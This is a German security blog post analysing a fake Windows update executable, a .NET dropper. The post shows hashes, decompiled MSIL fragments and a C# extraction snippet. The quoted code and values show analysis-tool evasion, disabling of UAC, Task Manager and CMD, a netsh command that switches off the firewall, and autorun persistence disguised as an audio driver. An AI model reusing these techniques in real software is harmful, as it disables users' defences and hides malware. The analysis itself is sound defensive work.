BotNetzProvider.de Ein Security Blog über Honig-Töpfe (honeypots) , Bots und Bitcoin

1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading...

Bösartige WindowsXP-7-VIS-v3-x86-DEU.exe mal unter die Lupe genommen

 

Gestern schickte mir ein Freund eine sehr fragwuerdige datei "WindowsXP-7-VIS-v3-x86-DEU.exe" diese ist in.NET geschrieben worden, seltsam seit wann erstellt Microsoft seine Updates mit .NET und dazu auch noch Obfuscated??

MD5 : cc911e87c69c5d60444e0501dfd224e7
SHA1 : a15877bf4e544046a9ec72ffaf3f8c4126d1df64
SHA256: fdcecc53fbde151ed205adf1a8b8e3d0080b98f9df372edbe5a7509b2475ac8a

Result: 1 /43 (2.3%)

Bei genauerem betrachten enthaelt diese exe zwei Dateien, die als Base64-Codiert in denn Ressourcen versteckt sind.

FileName: MS-Patch.exe
MD5 : 5c41dabf14cfd6c7972babfe2fc283a2
SHA1 : b55886cd47bf10d16e32b9c0a82d22f8044ac8da
SHA256: 4c09b421be07b891a1dc2c3bf9fba288b9524fb2ad489f069c2ad60debd78fcc

Result: 0/ 43 (0.0%)

0 von 43..mhh.. ok! Nach dem ich wirklich lange gesucht habe, was dort drin versteckt sein koennte. Musste ich einsehen Virus-total hat recht, mehr als ein kleines Fensterchen passiert einfach nicht. Obwohl soviele Objekte in dieser exe enthalten, die einfach nicht verwendet werden.

 

Als zur zweiten Datei.

FileName: Update.exe
MD5 : 2513f70f8524778230ad376cac12ce47
SHA1 : 4fb7d24716ddf205e0493bcbd9db71e8bb673f30
SHA256: 6c730a5b842618c5452eeab8f9f205294d88ac994e7acea43f6be231b67af863

Result: 2 /43 (4.7%)

Jaa zwei haben es als Schaedling erkannt, dass muss es einfach sein. Ok ran ans decompilieren, ohh ildasm.exe (Der Decompilier von Microsoft selbst) sagt mir nur "Geschuetztes Modul -- kann nicht aufgeloest werden". Was haben wir gelernt? Microsoft ist offensichtlich auf der Seite der Boesen.
"Red Gate's .NET Reflector" verkraftet das Kompilat nicht da, alle Klassen und variablen in lustige Utf8 Zeichen konvertierte wurden. Da ich gluecklicherweise vor langer Zeit einen eigenen decompilier geschrieben habe muss der ans Werk. Aus diesem faellt zwar nur MSIL-Opcode raus, dafuer ist das Utf8-Problem geloest.

Nun endlich am spannenden Part angekommen: Die Quellen.

public static void start(string[])
{
    locals:
      V0: System.Threading.Thread
      ....
      V24: object[]

    ldsfld   string Root.Main.str1
    ldsfld   string Root.Main.str2

    call     bool System.String.op_Equality(string, string)
    brfalse  label_54
    call     void Root.Main.a()
    ldsfld   bool Root.Main.bool16

    brfalse  label_5

Erst etwas Statik, die Funktion "Main.a" wird verhaeltnismaessig oft aufgerufen.

private static void a()
{
    ldc.i4  -1727270941
    call    string Root.e.a(int)
    call    void System.Console.Write(string)
    ret
}

Die klasse e einhaelt ein Dictionary und kann aus einem int ein String machen. Wie zuerwarten wird hier versucht klar lesbare Strings zu vermeiden.
Hier nur ein kleiner ausschnitt davon, da es sonst den Rahmen spraengen wuerde, bei interesse oder offnen Fragen schreibt mir einfach eine email.

internal static string a(int) {
{
    ....
    label_13:
        ldstr      "\u200B\u2002\u2003\u2005\u2006\u2000\u2003\u2004\u2000\u200A"
        callvirt   System.IO.Stream System.Reflection.Assembly.GetManifestResourceStream(string)
        newobj     System.IO.BinaryReader..ctor(System.IO.Stream)
        stsfld     System.IO.BinaryReader Root.e.binaryreader
        ldsfld     System.IO.BinaryReader Root.e.binaryreader
        callvirt   short System.IO.BinaryReader.ReadInt16()
        ldc.i4     11839
        xor
        conv.i2
        stloc.s    V_4
        br.s       label_8

    ....
}

Fals der int nicht im Dictionary enthalten ist, wird ein Stream aus den Resourcen geladen und gelesen. Die ersten Zwei Bytes geben an ob der Stream mit dem PublicToken der Assembly verschluesselt wurde. Gluecklicherweise ist das bei uns nich der Fall, aber alles ist dafuer vorgesehen.

	...
    label_17:
        ldarg.0
        ldc.i4     -1727270937
        xor
        stloc.s    V_6
        ldsfld     System.IO.BinaryReader Root.e.binaryreader
        callvirt   System.IO.Stream System.IO.BinaryReader.get_BaseStream()
        ldloc.s    V_6
        conv.i8
        callvirt   void System.IO.Stream.set_Position(long)
        ldsfld     byte[] Root.e.buff1

        brfalse.s  label_18
        ldsfld     byte[] Root.e.buff1
        stloc.s    V_7
        br.s       label_22
	...
    label_23:

        ldloc.s    V_7
        ldsfld     System.IO.BinaryReader Root.e.binaryreader
        ldloc.s    V_9
        callvirt   byte[] System.IO.BinaryReader.ReadBytes(int)
        call       byte[] Root.d.a(byte[], byte[])
        stloc.s    V_11
        ldsfld     byte[] Root.e.buff2

	....
    label_28:
        ....
        ldloc.s    V_14  char[])
        stloc.1
        ....

Anhand der Uebergebenem int's wird die Position im Stream berechnet und gesetzt. Im label_23 wird der "gepackt/gecryptete" stream gelesen und der Klasse d.a uebergeben, diese wuerfelt spannend mit einigen Zahlen durch die gegen, spuckt danach einen byte array aus. Nach dem nochmal einige xor-magische werte auf diesem byte array angewendet wurden landet dieser im label_28 und wird dort zu einem String konvertiert.

Zurueck zu unser "Root.Main.a" funktion. Nun koennen wir die Zahl -1727270941 ersetzen.

private static void a()
{
    call    void System.Console.Write("4th3l4lz")
    ret
}

Meine leed-sprache Kenntnisse halten sich in grenzen, aber es sieht lustig aus. Schauen wir uns weiter die Main Funktion an.

public static void start(string[])
{
...
label_5:
    call     void Root.Main.a()

    try
    {
        call     bool System.Diagnostics.Debugger.get_IsAttached()
        leave    label_54
    }
    catch (object)
    {}
...
label_XX:
    try

    {
        ldc.i4   -1727270952
        call     string Root.e.a(int)
        call     bool Root.Main.b(string)
        brfalse  label_XX
        leave    label_54

    }
    catch (object)
    {}
...
label_54:
    ret
}

Label_5 sobald wir es in einem Debugger ausfuehren springt er direkt zum Label_54 und vorbei ist. Label_XX wiederholt sich recht oft und bekommt unterschiedliche strings uebergeben. Es sieht aus als wenn es unheimlich schlecht mit strg+c und strg+v geschrieben wurde, moeglich waere auch das Visual Studio eine Funktion in-line Compiliert hat. Doch habe ich soetwas noch nicht gesehen.
Die Funktion Root.Main.b gibt den wert von System.Diagnostics.Process.GetProcessesByName(string) zurueck, sobald ein Process mit diesen Namen laeuft beendet sich das Programm sofort.

  • NETSTAT
  • TEST
  • [#] TEST [#]
  • FILEMON
  • PROCMON
  • REGMON
  • CAIN
  • NETMON
  • TCPVIEW

Danach wird eine exe aus den den Resourcen geladen mit dem Namen "file" base64 decoded und ausgefuehrt, spaeter dazu mehr.
Weiter hin werden einige Registery-Keys gesetzt oder erstellt.

  ...
    call     void Root.Main.a() "4th3l4lz" 😀
    ldsfld   bool Root.Main.bool17

    brfalse  label_49
    try
    {
        ldsfld    Microsoft.Win32.RegistryKey Microsoft.Win32.Registry.CurrentUser
        ldc.i4    -1727271042
        call      string Root.e.a(int)
        ldc.i4.1
        callvirt  Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey.OpenSubKey(string, bool)
        ldc.i4    -1727271108
        call      string Root.e.a(int)
        ldc.i4    -1727271148
        call      string Root.e.a(int)
        ldc.i4.4
        callvirt  void Microsoft.Win32.RegistryKey.SetValue(string, object, Microsoft.Win32.RegistryValueKind)
    }
    catch (object)
    {}
  ...

Folgende werte werden unter CurrentUser gesetzt oder erstellt.

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
EnableBalloonTips = 0

Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA = 0

Software\Policies\Microsoft\Windows\System

DisableCMD = 2

Software\Microsoft\Windows\CurrentVersion\Policies\System
DisableRegistryTools = 1
DisableTaskMgr = 1

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Hidden = 2

 

Danach wird die Interne-Firewall von Microsoft abgeschlatet.

        newobj    System.Diagnostics.Process..ctor()
        stloc.s   V_10
        ldloc.s   V_10
        callvirt  System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo()
        ldc.i4    -1727271310  "Netsh"
        call      string Root.e.a(int)
        callvirt  void System.Diagnostics.ProcessStartInfo.set_FileName(string)
        ldloc.s   V_10
        callvirt  System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo()
        ldc.i4    -1727271354  "Advfirewall set Currentprofile State off"

        call      string Root.e.a(int)
        callvirt  void System.Diagnostics.ProcessStartInfo.set_Arguments(string)
        ldloc.s   V_10
        callvirt  System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo()
        ldc.i4.0
        callvirt  void System.Diagnostics.ProcessStartInfo.set_UseShellExecute(bool)
        ldloc.s   V_10
        callvirt  System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo()
        ldc.i4.1
        callvirt  void System.Diagnostics.ProcessStartInfo.set_CreateNoWindow(bool)
        ldloc.s   V_10
        callvirt  bool System.Diagnostics.Process.Start()
        pop

Nach dem alle diese Werte gesetzt worden, erstellt die Exe eine kopie von sich im Temp-Verzeichnis mit dem Namen "sXUKi2vZ27aw.exe".

    try
    {
        call        System.Diagnostics.Process System.Diagnostics.Process.GetCurrentProcess()
        callvirt    System.Diagnostics.ProcessModule System.Diagnostics.Process.get_MainModule()
        callvirt    string System.Diagnostics.ProcessModule.get_FileName()
        ....
        ldc.i4      -1727271438  "TEMP"
        call        string Root.e.a(int)
        call        string System.Environment.GetEnvironmentVariable(string)
        ldc.i4      -1727271481  "sXUKi2vZ27aw.exe"

        call        string Root.e.a(int)
        ldsfld      string Root.Main.str5
        call        string System.String.Concat(string, string, string)
        ldc.i4.2
        newobj      System.IO.FileStream..ctor(string, System.IO.FileMode)
        ....
        ldc.i4.2
        call        void System.IO.File.SetAttributes(string, System.IO.FileAttributes)
        ldc.i4.s    26
        call        string System.Environment.GetFolderPath(System.Environment.SpecialFolder)
        ....

Diese erstellte exe wird in der Registrie im Autorun unter
Software\Microsoft\Windows\CurrentVersion\Run
Audio HD Driver=$TEMP\sXUKi2vZ27aw.exe
und
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Audio HD Driver=$TEMP\sXUKi2vZ27aw.exe
Eingetragen.

Ergebniss:
92K .net Quellen nur um die Datei im Resourcen-stream zu starten.
Ich glaube das dieses .NET-Projekt, irgendwo in den Dunklenseiten des Internets ist jemanden aermer und jemand etwas reicher gemacht hat. Alles deutet darauf hin, das dies ein Baukasten ist um seine maleware zuverteilen. Die Haupt-Klasse hat 27 Boolische werte mit dem sie ihr verhalten aendern kann, die "Verschluesselung" der Strings ist erweiterbar. Der Dateiname der kopie im Temp-Verzeichnis NICHT!.

FileName: Resource
MD5 : ad53ad470691c35d6d05ad4207bcbd13
SHA1 : 1b524e743e845da5f6194e82d3d70e1a4f52e525
SHA256: 4e9943212a0ced4e53e8eb4492118fde06ddd80dab66e11c0c6f47c86c078ee9

Result: 5 /42 (11.9%)

Ein kurzer Sandbox-Test bei SunbeltLabs ergibt schnell das es sich um einen Trojaner handel, dem wir uns das naechste mal etwas genauer anschauen.

Schlusswort:
Mein Tipp an den Evil-Hacker

Fuer die die nicht alles durch blicken wollen, einfach nur das ergebniss wollen, bietet .NET einiges. Die EXE kann einfach als Assembly geladen werden und alle Objekte mit ihren Funktionen aufgerufen werden.
Spannender Teil hier ist das alle Objekte Utf8-Namen haben, deshalb suchen wir einfach nach unserer Funktion. Mit einem simplen Invoke erhalten wir den decrypten String.
Auch auf die Resourcen koennen wir ohne Probleme zugreifen. Das lustige ist, wir wissen das keine Infektion stat findet wenn wir es debuggen.

namespace t
{
    class Program
    {
        static void Main(string[] args)
        {
            Assembly asm = Assembly.LoadFile(@"update.exe");
            MethodInfo mi = null;
            foreach(Type mt in asm.GetTypes())
                foreach(MethodInfo tmi in mt.GetMethods(BindingFlags.NonPublic | BindingFlags.Static))
                    if(tmi.GetParameters().Count() != 0)
                        if((tmi.GetParameters()[0].ParameterType == typeof(int))&&(tmi.ReturnType == typeof(string)))
                        {
                            mi = tmi;
                            break;
                        }
            string $result = mi.Invoke(null, new object[] { $ZauberInt }) as String;

            StreamReader sr = new StreamReader(asm.GetManifestResourceStream("file"));
            byte[] bb = Convert.FromBase64String(sr.ReadToEnd());
            sr.Close();

            FileStream fs1 = new FileStream("WUUU.exe", FileMode.OpenOrCreate);
            fs1.Write(bb, 0, bb.Length);
            fs1.Close();
        }
    }
}
Kommentare (0) Trackbacks (0)

Zu diesem Artikel wurden noch keine Kommentare geschrieben.


Leave a comment

Noch keine Trackbacks.

/* google like button API */